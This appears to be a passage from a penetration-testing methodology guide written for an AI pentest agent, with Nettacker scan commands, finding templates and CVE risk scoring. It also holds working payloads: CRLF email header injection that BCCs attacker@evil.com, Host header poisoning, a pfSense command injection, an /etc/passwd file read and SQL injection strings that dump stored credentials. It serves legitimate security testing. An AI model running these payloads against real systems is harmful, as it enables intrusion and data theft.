docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com \
  -m *_vuln \
  -o /output/vuln_scan.html \
  --graph d3_tree_v2_graph \
  -v 2

# Critical + High severity only (faster)
docker run --rm owasp/nettacker \
  -i target.com \
  -m f5_cve_2020_5902_vuln,citrix_cve_2019_19781_vuln,vbulletin_cve_2019_16759_vuln,msexchange_cve_2021_26855_vuln,apache_struts_vuln,xdebug_rce_vuln,log4j_cve_2021_44228_vuln

# Web application security audit
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com \
  -m clickjacking_vuln,content_security_policy_vuln,content_type_options_vuln,xss_protection_vuln,server_version_vuln,x_powered_by_vuln,http_cors_vuln,http_cookie_vuln,strict_transport_security_vuln,ssl_*_vuln \
  -o /output/web_audit.html

# Full assessment (recon + vuln + brute)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com \
  -m port_scan,admin_scan,dir_scan,waf_scan,web_technologies_scan,*_vuln,*_brute \
  -o /output/full_assessment.html \
  -t 50 -M 10

Template de Finding - Nettacker CVE Detection

FINDING: CVE-DETECTION-NETTACKER-[CVE-ID]
CATEGORY: VULNERABILITY
SEVERITY: [CRITICAL/HIGH/MEDIUM/LOW]
CVSS SCORE: [X.X]
PTES: 3.1.2 - Automated Tools

AFFECTED RESOURCE:
- Target: [target.com/IP]
- Port: [port number]
- Service: [service name/version]

DESCRIPTION:
OWASP Nettacker [module_name] detected [CVE/vulnerability]
affecting [service/application]. This vulnerability allows
[impact description].

EVIDENCE:
docker run --rm owasp/nettacker -i [target] -m [module]
[Nettacker output showing detection]

VALIDATION:
# Manual verification command
curl -s [verification request]

# Or Nettacker API
curl -k "https://localhost:5000/logs/get_json?target=[target]&key=[API_KEY]"

IMPACT:
- [Describe potential impact if exploited]
- [Data that could be compromised]
- [Systems that could be affected]

REMEDIATION:
1. [Specific patch/version to upgrade to]
2. [Configuration changes required]
3. [Workaround if patch unavailable]

REFERENCES:
- CVE-XXXX-XXXXX: [NVD link]
- Vendor Advisory: [vendor link]
- OWASP Nettacker Module: [module name]

PTES REFERENCE: Section 3.1.2 (Automated Tools)

Template de Finding - HTTP Security Headers

FINDING: HTTP-HEADER-MISSING-[HEADER-NAME]
CATEGORY: MISCONFIGURATION
SEVERITY: LOW/MEDIUM
PTES: 3.1 - Vulnerability Testing

AFFECTED RESOURCE:
- URL: https://[target]/
- Server: [server software if detected]

DESCRIPTION:
The web server is missing the [Header-Name] HTTP response
header, which [purpose of header].

EVIDENCE:
# Nettacker detection
docker run --rm owasp/nettacker -i target.com -m [module_name]

# Manual verification
curl -sI https://target.com | grep -i "[header-name]"
# (no output = header missing)

CURRENT HEADERS:
[List headers that ARE present]

IMPACT:
[Explain security impact of missing header]
- Example: Missing X-Frame-Options allows clickjacking attacks

REMEDIATION:
# Apache
Header always set [Header-Name] "[value]"

# Nginx
add_header [Header-Name] "[value]" always;

# IIS
<system.webServer>
  <httpProtocol>
    <customHeaders>
      <add name="[Header-Name]" value="[value]" />
    </customHeaders>
  </httpProtocol>
</system.webServer>

REFERENCES:
- OWASP: [relevant OWASP page]
- MDN: [MDN documentation link]

PTES REFERENCE: Section 3.1 (Vulnerability Testing)

Template de Finding - SSL/TLS Issues

FINDING: SSL-TLS-ISSUE-[TYPE]
CATEGORY: CRYPTOGRAPHIC_WEAKNESS
SEVERITY: [MEDIUM/HIGH]
PTES: 3.1 - Vulnerability Testing

AFFECTED RESOURCE:
- Host: [target.com]
- Port: 443/tcp
- Service: HTTPS

DESCRIPTION:
Nettacker SSL scanning detected [issue type]:
[Description of the SSL/TLS vulnerability]

EVIDENCE:
docker run --rm owasp/nettacker -i target.com -m [ssl_module]

# Manual verification
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -dates

DETAILED FINDINGS:
- Certificate Valid From: [date]
- Certificate Valid Until: [date]
- Issuer: [CA name]
- Subject: [CN]
- Signature Algorithm: [algorithm]
- Cipher Suites: [list weak ciphers if any]

IMPACT:
[Describe cryptographic impact]

REMEDIATION:
1. Obtain new SSL certificate from trusted CA
2. Disable weak cipher suites
3. Disable SSLv2/SSLv3/TLS 1.0/1.1
4. Enable TLS 1.2/1.3 only
5. Implement HSTS

REFERENCES:
- SSL Labs: https://www.ssllabs.com/ssltest/
- OWASP TLS: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Security_Cheat_Sheet.html

PTES REFERENCE: Section 3.1 (Vulnerability Testing)

Nettacker + WorstAssume Combined Workflow

# Phase 1: Nettacker for external vulnerability scanning
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i external-target.com \
  -m port_scan,*_vuln,waf_scan \
  -o /output/nettacker_external.html

# Phase 2: WorstAssume for AWS IAM assessment
worst enumerate --profile <profile> --stealth
worst assess --min-severity HIGH --output json > worst_findings.json

# Phase 3: Consolidate findings
# Nettacker: External CVEs and misconfigurations
# WorstAssume: IAM privilege escalation paths
# Combined: Complete attack surface view

jq -s '.[0].nettacker_vulns + .[1].worst_findings' \
  nettacker_external.json worst_findings.json > consolidated_findings.json

Nettacker API for Automated Scanning

# Get API key
API_KEY=$(docker logs nettacker 2>&1 | grep "API Key" | awk '{print $4}')

# Submit vulnerability scan
curl -k -X POST "https://localhost:5000/new/scan" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "key=${API_KEY}&targets=target.com&selected_modules=*_vuln&report_path_filename=/tmp/vuln.html"

# Check scan status
curl -k "https://localhost:5000/results/get_list?page=1" \
  -H "Cookie: key=${API_KEY}" | jq '.[].scan_method'

# Get vulnerabilities in JSON
curl -k "https://localhost:5000/logs/get_json?target=target.com&key=${API_KEY}" \
  | jq '.[] | select(.TYPE | contains("vuln"))'

# Export for SIEM (SARIF format)
curl -k "https://localhost:5000/logs/get_json?target=target.com&key=${API_KEY}" \
  | python3 convert_to_sarif.py > findings.sarif

Nettacker Scan Comparison (Drift Detection)

# Initial baseline scan
docker run --rm -v $(pwd):/data owasp/nettacker \
  -i target.com -m port_scan,*_vuln \
  -o /data/baseline.html

# Later scan for comparison
docker run --rm -v $(pwd):/data owasp/nettacker \
  -i target.com -m port_scan,*_vuln \
  -o /data/current.html

# Compare results (manual or scripted)
# Look for:
# - New open ports
# - New vulnerabilities
# - Changed service versions
# - Expired certificates

# Nettacker has built-in compare feature via CLI
python nettacker.py -i target.com -m all -K [baseline_scan_id] -J compare_report.html

8. Vulnerability Prioritization Framework (CVE × EPSS × KEV × PoC)

Risk Score Composto (0-100)

# Fórmula de priorização do Claude-OSINT
def calculate_risk_score(cve_id):
    cvss_score = get_cvss(cve_id) * 10          # 0-100
    epss_score = get_epss(cve_id) * 100          # 0-100
    kev_multiplier = 1.5 if is_in_kev(cve_id) else 1.0
    poc_multiplier = 1.3 if has_poc(cve_id) else 1.0
    
    # Peso: EPSS (40%), CVSS (30%), KEV (20%), PoC (10%)
    risk = (epss_score * 0.40) + (cvss_score * 0.30)
    risk *= kev_multiplier if kev_multiplier > 1 else 1.0
    risk *= poc_multiplier if poc_multiplier > 1 else 1.0
    
    return min(100, risk)

Prioritização por Risk Score

CRITICAL (90-100):
- CVE no CISA KEV + EPSS > 0.80 + PoC weaponized
- Exemplo: CVE-2021-44228 (Log4Shell), CVE-2026-41940 (cPanel)

HIGH (70-89):
- CVE no KEV ou EPSS > 0.50 + PoC available
- Exemplo: CVE-2023-42326 (pfSense Command Injection)

MEDIUM (40-69):
- EPSS > 0.20 ou CVSS > 7.0
- Vulnerabilidades com exploit teórico

LOW (0-39):
- EPSS < 0.20, sem KEV, sem PoC
- Vulnerabilidades de baixa probabilidade de exploração

EPSS Score Lookup

# Single CVE
curl -s "https://api.first.org/data/v1/epss?cve=CVE-2026-41940" | jq '.data[0].epss'

# Batch lookup
curl -s "https://api.first.org/data/v1/epss?cve=CVE-2021-44228,CVE-2023-42326,CVE-2026-41940" | \
  jq '.data[] | "\(.cve): \(.epss)"'

# Threshold: EPSS > 0.45 = prioridade alta (top 5%)

CISA KEV Catalog Check

# Check if CVE is in KEV (actively exploited)
curl -s "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" | \
  jq '.vulnerabilities[] | select(.cveVulnID == "CVE-2026-41940")'

# KEV categories:
# - Ransomware: Vulnerabilities exploited for ransomware
# - Zero-day: Vulnerabilities exploited before patch
# - Heavily Exploited: Widespread exploitation

PoC Availability Check

# GitHub search for PoC
curl -s "https://api.github.com/search/code?q=CVE-2026-41940+exploit" | \
  jq '.total_count'

# Exploit-DB search
curl -s "https://www.exploit-db.com/api/v1/search?q=CVE-2026-41940" | \
  jq '.total'

# Nuclei template check
curl -s "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/cves/CVE-2026-41940.yaml" | \
  head -20

Template de Finding Técnico (PTES 6.2)

FINDING: [PATH-ID from worst assess output]
CATEGORY: [WEAK_TRUST/PERMISSIVE_POLICY/RESOURCE_WILDCARD/USER_CONFIG/GROUP_CONFIG]
SEVERITY: [CRITICAL/HIGH/MEDIUM/LOW/INFO]
ORIGINAL_SEVERITY: [severity before downgrade]

AFFECTED RESOURCE:
- ARN: [entity_arn from finding]
- Type: [entity_type: role/user/group]
- Account: [account_id]

DESCRIPTION:
[message from finding - explains the vulnerability]

EVIDENCE:
[condition from finding - JSON trust policy or policy document]
[principal_detail - additional context]

PERMISSION RISK: [perm_risk from finding]
DOWNGRADE NOTE: [downgrade_note - if severity was reduced]

VALIDATION STEPS:
1. [Manual AWS CLI command to verify]
2. [Expected output confirming finding]

REMEDIATION:
[Specific remediation based on category]

PTES REFERENCE:
- Section 3.1: Vulnerability Testing
- Section 3.2: Vulnerability Validation

Template de Finding - CVE com Risk Score

FINDING: CVE-2026-41940-AUTH-BYPASS
CATEGORY: VULNERABILITY
SEVERITY: CRITICAL
RISK SCORE: 98/100

AFFECTED RESOURCE:
- Target: cPanel/WHM <= 120.0.23
- Port: 2087/tcp (WHM)
- Service: cPanel HTTP API

DESCRIPTION:
Authentication bypass vulnerability allows remote attackers
to gain administrative access to WHM without valid credentials.

RISK SCORING:
- CVSS v3.1: 9.8 (CRITICAL)
- EPSS Score: 0.95 (95th percentile)
- CISA KEV: YES (actively exploited)
- PoC Status: Publicly available (weaponized)

CALCULATION:
- Base: (98 * 0.30) + (95 * 0.40) = 67.4
- KEV multiplier: 67.4 * 1.5 = 101.1
- PoC multiplier: 101.1 * 1.3 = 131.4
- Final: min(100, 131.4) = 98/100

EVIDENCE:
# NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41940
# EPSS: https://www.first.org/epss/
# KEV: https://www.cisa.gov/known-exploited-vulnerabilities

VALIDATION:
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://target.com:2087 detect

REMEDIATION:
1. Upgrade to cPanel/WHM >= 120.0.24 immediately
2. Rotate all administrative credentials
3. Review access logs for unauthorized access
4. Implement IP-based access restrictions
5. Enable MFA for all administrative accounts

PTES REFERENCE: Section 3.1.2 (Automated Tools)

9. Vulnerability Correlation Matrix

CVE × Asset Type × Impact

┌────────────────────┬──────────────┬─────────────┬──────────────┐
│ CVE                │ Asset Type   │ Impact      │ Priority     │
├────────────────────┼──────────────┼─────────────┼──────────────┤
│ CVE-2026-41940     │ cPanel/WHM   │ RCE/Auth    │ CRITICAL     │
│ CVE-2023-42326     │ pfSense      │ Command Inj │ HIGH         │
│ CVE-2021-44228     │ Log4j        │ RCE         │ CRITICAL     │
│ CVE-2020-5902      │ F5 BIG-IP    │ RCE         │ CRITICAL     │
│ CVE-2019-19781     │ Citrix ADC   │ RCE         │ CRITICAL     │
│ CVE-2024-41940     │ pfSense      │ Auth Bypass │ HIGH         │
│ CVE-2022-40624     │ pfBlockerNG  │ XSS         │ MEDIUM       │
└────────────────────┴──────────────┴─────────────┴──────────────┘

Attack Path Correlation

Attack Path Example:
1. Subdomain takeover (recon) → deploy malicious JS
2. Steal admin credentials (exploitation)
3. CVE-2026-41940 bypass (privilege escalation)
4. Full server compromise (impact)

Correlation:
- Subdomain risk + CVE risk = Combined risk
- If both HIGH: escalate to CRITICAL

9.1 Email Header Injection Testing (PTES 3.1)

SMTP CRLF Injection Fundamentals

SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.

Injection Anatomy

Normal header construction:
  To: user@example.com\r\n
  Subject: Contact Form\r\n
  From: noreply@target.com\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: attacker@evil.com\r\n

Encoding Variants to Try

Encoding	Payload
URL-encoded	`%0d%0a`
Double URL-encoded	`%250d%250a`
Unicode	`\u000d\u000a`
Raw CRLF	`\r\n` (in raw request)
LF only	`%0a` (some SMTP servers accept LF without CR)
Null byte + CRLF	`%00%0d%0a`

Attack Scenarios

1. BCC Injection — Silent Email Exfiltration
   Input: victim@target.com%0d%0aBcc:attacker@evil.com
   Effect: attacker receives copy of every email

2. CC Injection with Header Stacking
   Input: John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com
   Result: Multiple headers injected

3. Body Injection — Full Email Content Control
   Input: Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish
   Effect: Blank line terminates headers, rest is body

4. Reply-To Manipulation for Phishing
   Input: IT Support%0d%0aReply-To:attacker@evil.com
   Effect: Replies go to attacker

5. Content-Type Injection for HTML Phishing
   Input: test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Phishing</h1>
   Effect: Overrides Content-Type → renders HTML

Common Vulnerable Patterns

// PHP mail() - ALL parameters injectable
$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: noreply@target.com";
mail($to, $subject, $message, $headers);

# Python smtplib - user_from/user_subject injectable
msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)

// Node.js nodemailer - from/subject injectable
let mailOptions = {
    from: req.body.from,
    to: 'admin@target.com',
    subject: req.body.subject,
    text: req.body.message
};
transporter.sendMail(mailOptions);

Testing Workflow

# Step 1: Identify email-sending functionality
# - Contact forms
# - Password reset
# - Email notifications
# - Invite/share features

# Step 2: Test all input fields for CRLF injection
curl -X POST https://target.com/contact \
  -d "email=victim@test.com%0d%0aBcc:attacker@evil.com" \
  -d "subject=Test%0d%0aX-Injected: header"

# Step 3: Check email headers received by victim
# Look for injected headers in received email

# Step 4: Verify impact
# - Can you receive copies? (BCC injection)
# - Can you modify content? (Body injection)
# - Can you spoof sender? (From/Reply-To injection)

Remediation

- Sanitize all input before including in email headers
- Remove or encode CRLF characters: str_replace(["\r", "\n"], '', $input)
- Use mail libraries that handle header encoding automatically
- Implement allowlists for header values where possible
- Log and monitor email sending for anomalies

9.2 HTTP Host Header Injection

Attack Vectors

1. Password Reset Poisoning
   Host: evil.com
   Response: Reset link → https://evil.com/reset?token=xxx

2. Web Cache Deception
   Host: target.com.evil.com
   Cache key confusion → serve malicious content

3. Virtual Host Confusion
   Host: admin.target.com
   Access internal vhosts not meant for public

4. SSRF via Host Header
   Host: localhost:8080
   Internal service access via Host manipulation

Testing

# Basic Host header injection
curl -H "Host: evil.com" https://target.com/

# Host header with port
curl -H "Host: target.com:8080" https://target.com/

# Host header array (HTTP/2)
curl --http2 -H "Host: evil.com" https://target.com/

# X-Forwarded-Host chain
curl -H "X-Forwarded-Host: evil.com" \
     -H "X-Original-Host: evil.com" \
     -H "Host: target.com" https://target.com/

9.3 Content Injection Patterns

XSS via Injection

Reflected: Input → Server → Output (same response)
Stored: Input → Server → Database → Output (later)
DOM: Input → Client-side JS → DOM (no server round-trip)

Testing:
- HTML context: <img src=x onerror=alert(1)>
- JS context: ';alert(1);//
- Attribute context: " onmouseover="alert(1)"
- Template context: {{constructor.constructor('alert(1)')()}}

SSTI Detection Matrix

Template Engine	Detection Payload
Jinja2 (Python)	`{{7*'7'}}` → `7777777`
Twig (PHP)	`{{7*'7'}}` → `7777777`
Freemarker (Java)	`${7*7}` → `49`
EJS (Node)	`<%= 7*7 %>` → `49`
Pug (Node)	`#{7*7}` → `49`
Django (Python)	`{% if 7==7 %}yes{% endif %}`
Velocity (Java)	`#set($x=7) $x*7`

10. Vulnerability Reporting Templates (PTES 6.2)

Executive Summary Template

VULNERABILITY ASSESSMENT EXECUTIVE SUMMARY

OVERVIEW:
- Total Vulnerabilities: [X]
- Critical: [X] | High: [X] | Medium: [X] | Low: [X]
- Actively Exploited (KEV): [X]
- Public Exploits Available: [X]

TOP 3 PRIORITIES:
1. CVE-2026-41940 (cPanel Auth Bypass) - Risk: 98/100
   - Immediate action required
   - Actively exploited in the wild

2. CVE-2023-42326 (pfSense Command Injection) - Risk: 87/100
   - Remote code execution possible
   - PoC publicly available

3. [Finding 3] - Risk: [X]/100

TIMELINE:
- Immediate (24h): Patch CRITICAL findings
- Short-term (7d): Patch HIGH findings
- Medium-term (30d): Address MEDIUM/LOW findings

BUSINESS IMPACT:
[Describe potential business impact if exploited]

Technical Report Template

TECHNICAL VULNERABILITY REPORT

METHODOLOGY:
- Automated scanning: OWASP Nettacker, Nuclei, Nikto
- Manual validation: [tools/techniques]
- Risk scoring: CVSS v3.1 + EPSS + KEV + PoC

FINDINGS SUMMARY:
[Table with all findings, risk scores, and status]

DETAILED FINDINGS:
[For each CVE/finding:]
- CVE ID / Finding Name
- Risk Score (0-100)
- CVSS Vector
- EPSS Score
- KEV Status
- PoC Availability
- Affected Asset
- Technical Description
- Evidence (screenshots, output)
- Validation Steps
- Remediation
- References

APPENDICES:
- Tool output logs
- Full CVE details
- Patch links and vendor advisories

11. pfSense-Specific Vulnerability Analysis

CVE Detection para pfSense

# Version detection
curl -sk https://pfsense.target.com/ | grep -iE "version|2\.[0-9]"

# CVE-2023-42326 (Command Injection)
# Test: /interfaces_gif_edit.php
curl -sk "https://pfsense.target.com/interfaces_gif_edit.php" \
  -X POST -d "if=gif0&address=127.0.0.1%3Bid"

# CVE-2025-53392 (File Read)
# Test: Arbitrary file read
curl -sk "https://pfsense.target.com/filemanager.php" \
  -d "path=/etc/passwd"

# CVE-2024-41940 (Authentication Bypass)
# Test: Cookie manipulation
curl -sk "https://pfsense.target.com/index.php" \
  -H "Cookie: pfSenseSession=1; tfa_verified=1"

# Package vulnerabilities (pfBlockerNG, Suricata, Snort)
# Check installed packages
curl -sk -u admin:password \
  "https://pfsense.target.com/pkg_mgr.php" | grep -iE "pfBlocker|suricata|snort"

Template de Finding - pfSense CVE

FINDING: CVE-2023-42326-COMMAND-INJECTION
CATEGORY: VULNERABILITY
SEVERITY: HIGH
RISK SCORE: 87/100

AFFECTED RESOURCE:
- Target: pfSense 2.7.0
- Component: interfaces_gif_edit.php
- Port: 443/tcp

DESCRIPTION:
Command injection vulnerability in pfSense GIF interface
configuration allows authenticated attackers to execute
arbitrary system commands.

RISK SCORING:
- CVSS v3.1: 8.7 (HIGH)
- EPSS Score: 0.45
- CISA KEV: NO
- PoC Status: Publicly available

EVIDENCE:
# NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-42326
# PoC: https://github.com/[redacted]/pfsense-cve-2023-42326

VALIDATION:
curl -sk "https://target/interfaces_gif_edit.php" \
  -X POST -d "if=gif0&address=127.0.0.1%3Bid"
# Expected: Command output in response

REMEDIATION:
1. Upgrade to pfSense 2.7.2 or later
2. Restrict admin access to trusted IPs
3. Implement MFA for administrative access
4. Monitor logs for exploitation attempts

PTES REFERENCE: Section 3.1.2 (Automated Tools)

12. AIRecon Integration for Vulnerability Prioritization

AIRecon Risk Scoring Commands

# Calculate risk score for discovered CVEs
airecon "calculate risk scores for CVE-2021-44228, CVE-2026-41940, CVE-2023-42326"

# Prioritize vulnerabilities by exploitability
airecon "prioritize vulnerabilities by EPSS score and KEV status"

# Check exploit availability
airecon "check if public exploits exist for CVE-2026-41940"

# Generate vulnerability report
airecon "generate vulnerability report with risk scoring"

AIRecon + cve-mcp Integration

# AIRecon invokes cve-mcp tools automatically:
airecon "get CVE summary for CVE-2026-41940"
# → mcp__cve-mcp__get_cve_summary

airecon "check KEV status for CVE-2026-41940"
# → mcp__cve-mcp__check_kev

airecon "get EPSS score for CVE-2026-41940"
# → mcp__cve-mcp__get_epss_score

airecon "calculate composite risk score"
# → mcp__cve-mcp__calculate_risk_score

13. Watchtower Integration for Vulnerability Prioritization

Watchtower Risk-Based Scanning

# Watchtower prioritizes by risk automatically
python -m watchtower.main -t https://target.com \
  --focus critical_vulns \
  --skip-ask-tools

# Watchtower uses cve-mcp for scoring:
# 1. Detects CVEs via nuclei/nikto
# 2. Queries EPSS/KEV via cve-mcp
# 3. Checks PoC availability via GitHub/Exploit-DB
# 4. Calculates risk score (0-100)
# 5. Prioritizes findings in report

Watchtower + WorstAssume Correlation

# 1. WorstAssume for IAM findings
worst assess --min-severity HIGH --output json > worst_findings.json

# 2. Watchtower for external CVEs
python -m watchtower.main -t https://target.com --skip-ask-tools

# 3. AIRecon correlates and prioritizes
airecon "correlate worstassume IAM findings with watchtower CVE findings"
airecon "generate unified risk report"

14. Vulnerability Validation Checklist

Pre-Validation

Validation Steps

Post-Validation

15. Output da Fase de Vulnerability Analysis (PTES Deliverables)

Lista de vulnerabilidades validadas (PTES 3.2 - Vulnerability Validation)
Attack trees para cada vulnerabilidade crítica (PTES 3.3.1)
Lista de alvos priorizados (PTES 3.2.2 - Establish Target List)
Mecanismos de proteção identificados (PTES 3.3.2)
JSON estruturado com findings (PTES 6.2 - Technical Reporting)
SQL injection test results (/sqli-test + security-fuzzing plugin)
XSS vulnerability assessment (/xss-test + security-payloads plugin)
Risk scores (0-100) para cada CVE (CVSS + EPSS + KEV + PoC)
Vulnerability correlation matrix (CVE × Asset × Impact)
Executive summary com top 3 prioridades
Technical report com validação manual
pfSense-specific CVE findings (se aplicável)
cPanel-specific CVE findings (se aplicável)
Email header injection assessment (CRLF injection testing results)
HTTP Host header injection findings (password reset poisoning, cache deception)
SSTI detection results (template engine identification + exploitation)
Content injection patterns (XSS contexts, injection vectors)

Slash Commands para Vulnerability Analysis

`/sqli-test` - SQL Injection Testing Assistant

Recursos Disponíveis (`security-fuzzing` plugin)

Local: `seclists-categories fuzzing/fuzzing/references/Fuzzing/`

Wordlists Disponíveis:
- `quick-SQLi.txt` - Quick initial tests
- `Generic-SQLi.txt` - Generic payloads
- `MySQL.fuzzdb.txt` - MySQL-specific
- `PostgreSQL.fuzzdb.txt` - PostgreSQL-specific
- `sqli.auth.bypass.txt` - Authentication bypass
- `NoSQL.txt` - NoSQL injection vectors

Testing Methodology

Phase 1: Detection
- Test if special characters are filtered: ' " )
- Check for error messages or behavior changes
- Identify the database type

Phase 2: Basic Exploitation
- Try simple script tags: ' OR '1'='1
- Test UNION-based injection
- Check for blind SQLi

Phase 3: Filter Bypass
- Case variations: ' OR '1'='1
- Encoding: URL encoding, HTML entities
- Comment styles: --, #, /*, %23

Phase 4: Data Extraction
- Enumerate databases: UNION SELECT schema_name FROM information_schema.schemata
- Extract tables: UNION SELECT table_name FROM information_schema.tables
- Dump credentials: UNION SELECT username, password FROM users

Uso do Comando `/sqli-test`

# Iniciar teste interativo
/sqli-test

# O comando irá perguntar:
1. Tipo de database? (MySQL, PostgreSQL, MSSQL, Oracle)
2. Ponto de injeção? (GET parameter, POST data, header)
3. Tipo de injeção? (Error-based, Union-based, Blind, Time-based)
4. WAF detectado?

Payloads de Exemplo (quick-SQLi.txt)

-- Basic tests
' OR '1'='1
" OR "1"="1
' OR 1=1--
" OR 1=1--

-- UNION-based
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT username, password FROM users--

-- Error-based
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--

-- Blind SQLi
' AND 1=1--
' AND 1=2--
' AND SLEEP(5)--

-- Authentication bypass
admin'--
' OR ''='

`/xss-test` - XSS Vulnerability Testing Assistant

Recursos Disponíveis (`security-payloads` plugin)

Local: `seclists-categories payloads/payloads/references/`

Payloads Disponíveis:
- XSS vectors para diferentes contexts
- Filter bypass techniques
- Encoding strategies
- Polyglot payloads

Testing Methodology

Phase 1: Detection
- Test if special characters are reflected: <>"'
- Check how input is rendered in the page
- Identify the injection context

Phase 2: Basic Exploitation
- Try simple script tags: <script>alert(1)</script>
- Test event handlers: <img src=x onerror=alert(1)>
- Try various tag types if scripts are filtered

Phase 3: Filter Bypass
- Case variations: <ScRiPt>
- Encoding: &lt;script&gt;, \u003cscript\u003e
- Alternative tags and attributes
- Polyglot payloads

Phase 4: Proof of Concept
- Demonstrate impact with safe POC
- Document the vulnerability
- Provide remediation advice

Uso do Comando `/xss-test`

# Iniciar teste interativo
/xss-test

# O comando irá perguntar:
1. Onde está o injection point? (URL parameter, form field, header)
2. Qual contexto? (HTML body, attribute, JavaScript, CSS)
3. Algum filtro ou encoding detectado?
4. Tipo de XSS? (Reflected, Stored, DOM-based)

Payloads de Exemplo por Contexto

// HTML Body
<script>alert(1)</script>
<svg onload=alert(1)>
<img src=x onerror=alert(1)>

// HTML Attribute
" onmouseover="alert(1)"
' autofocus onfocus='alert(1)'

// JavaScript Context
'-alert(1)-'
';alert(1);//

// URL Context
javascript:alert(1)
data:text/html,<script>alert(1)</script>

// Filter Bypass
<ScRiPt>alert(1)</ScRiPt>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>

Safe POC Practices

- Use alert(document.domain) para provar XSS
- Use console.log() para testes menos intrusivos
- Evite acessar cookies ou dados sensíveis desnecessariamente

Output da Fase de Vulnerability Analysis (PTES Deliverables)

Lista de vulnerabilidades validadas (PTES 3.2 - Vulnerability Validation)
Attack trees para cada vulnerabilidade crítica (PTES 3.3.1)
Lista de alvos priorizados (PTES 3.2.2 - Establish Target List)
Mecanismos de proteção identificados (PTES 3.3.2)
JSON estruturado com findings (PTES 6.2 - Technical Reporting)
SQL injection test results (/sqli-test + security-fuzzing plugin)
XSS vulnerability assessment (/xss-test + security-payloads plugin)

Próximos Passos

Após completar esta fase, prossiga para pentest-exploitation (PTES Section 4)

🤖 AIRecon Integration for Vulnerability Analysis

AIRecon é um agente autônomo de penetration testing (v0.1.7-beta) que pode ser invocado como ferramenta incremental durante vulnerability analysis para automatizar testes de SQLi, XSS, CVE detection, e validação de vulnerabilidades.

Invocando AIRecon para Vulnerability Analysis

# AIRecon com keywords de vulnerability analysis
airecon "pentest vulnerability analysis sqli xss cve detection target.com"

# AIRecon detectará keywords e carregará:
# - pentest-vulnerability-analysis.md (skill primária)
# - pentest-exploitation.md (para validação de exploits)
# - MCP tools: cve-mcp, hexstrike (sqlmap, nuclei, nikto)

# Para pfSense-specific vulnerability analysis:
airecon "pfsense vulnerability analysis CVE scanning 2.7.0"

# Para HTTP header injection testing:
airecon "http header injection bypass testing https://target.com/restricted"

AIRecon Slash Commands Úteis para Vulnerability Analysis

# SQL Injection testing
/sqli-test --target https://target.com/page?id=1 --database mysql

# XSS vulnerability testing
/xss-test --target https://target.com/search?q=test --context html-body

# Network vulnerability scanning
/naabu-scan --target target.com -p 443,80,8080 --vuln-scan

# Webshell detection (post-exploitation vuln analysis)
/webshell-detect --target /var/www/html --recursive

# API key discovery em código fonte
/api-keys --target ./src --recursive --patterns aws,github,gcp

MCP Tool Integration via AIRecon

Durante vulnerability analysis, AIRecon pode invocar MCP tools automaticamente:

# cve-mcp: CVE lookup, EPSS scores, vulnerability validation
airecon "get CVE summary for CVE-2026-41940"
# → Usará mcp__cve-mcp__get_cve_summary

airecon "check exploit availability CVE-2026-41940"
# → Usará mcp__cve-mcp__check_exploit_availability

# hexstrike-local: Vulnerability scanning tools
airecon "run sqlmap scan on https://target.com/page?id=1"
# → Usará mcp__hexstrike-local__sqlmap_scan

airecon "run nuclei vulnerability scan on target.com"
# → Usará mcp__hexstrike-local__nuclei_scan

airecon "run nikto web vulnerability scan on https://target.com"
# → Usará mcp__hexstrike-local__nikto_scan

airecon "run dalfox XSS scan on https://target.com/search?q=test"
# → Usará mcp__hexstrike-local__dalfox_xss_scan

airecon "run jaeles vulnerability scan with custom signatures"
# → Usará mcp__hexstrike-local__jaeles_vulnerability_scan

# pentestswarm-remote: Automated vulnerability campaigns
airecon "start vulnerability assessment campaign for target.com"
# → Usará mcp__pentestswarm-remote__start_campaign

Workflow Example: Vulnerability Analysis com AIRecon + WorstAssume + Nettacker

# 1. Usar AIRecon para carregar vulnerability analysis skill
airecon "pentest vulnerability analysis aws"

# 2. AIRecon auto-carrega pentest-vulnerability-analysis.md

# 3. Invocar WorstAssume para security assessment
airecon "run worst assess --min-severity HIGH --output json"

# 4. Para cada finding, AIRecon valida automaticamente:
airecon "validate finding WildcardTrustNoCondition"

# 5. Invocar Nettacker para CVE scanning externo
airecon "docker run --rm owasp/nettacker -i target.com -m *_vuln"

# 6. AIRecon consolida findings do WorstAssume + Nettacker
# 7. Exportar relatório consolidado
airecon "export vulnerability report to HTML"

Workflow Example: SQL Injection Testing com AIRecon

# 1. Iniciar teste de SQL injection via AIRecon
airecon "/sqli-test --target https://target.com/page?id=1"

# 2. AIRecon executa testes em fases:
#    Phase 1: Detection (caracteres especiais)
#    Phase 2: Basic Exploitation (OR '1'='1)
#    Phase 3: Filter Bypass (encoding, case variations)
#    Phase 4: Data Extraction (UNION-based)

# 3. Se SQLMap disponível, AIRecon integra automaticamente
airecon "run sqlmap --url https://target.com/page?id=1 --batch"

# 4. AIRecon gera finding técnico
airecon "export sqli finding to JSON"

Workflow Example: XSS Testing com AIRecon

# 1. Iniciar teste de XSS via AIRecon
airecon "/xss-test --target https://target.com/search?q=test"

# 2. AIRecon detecta contexto automaticamente:
#    - HTML Body
#    - HTML Attribute
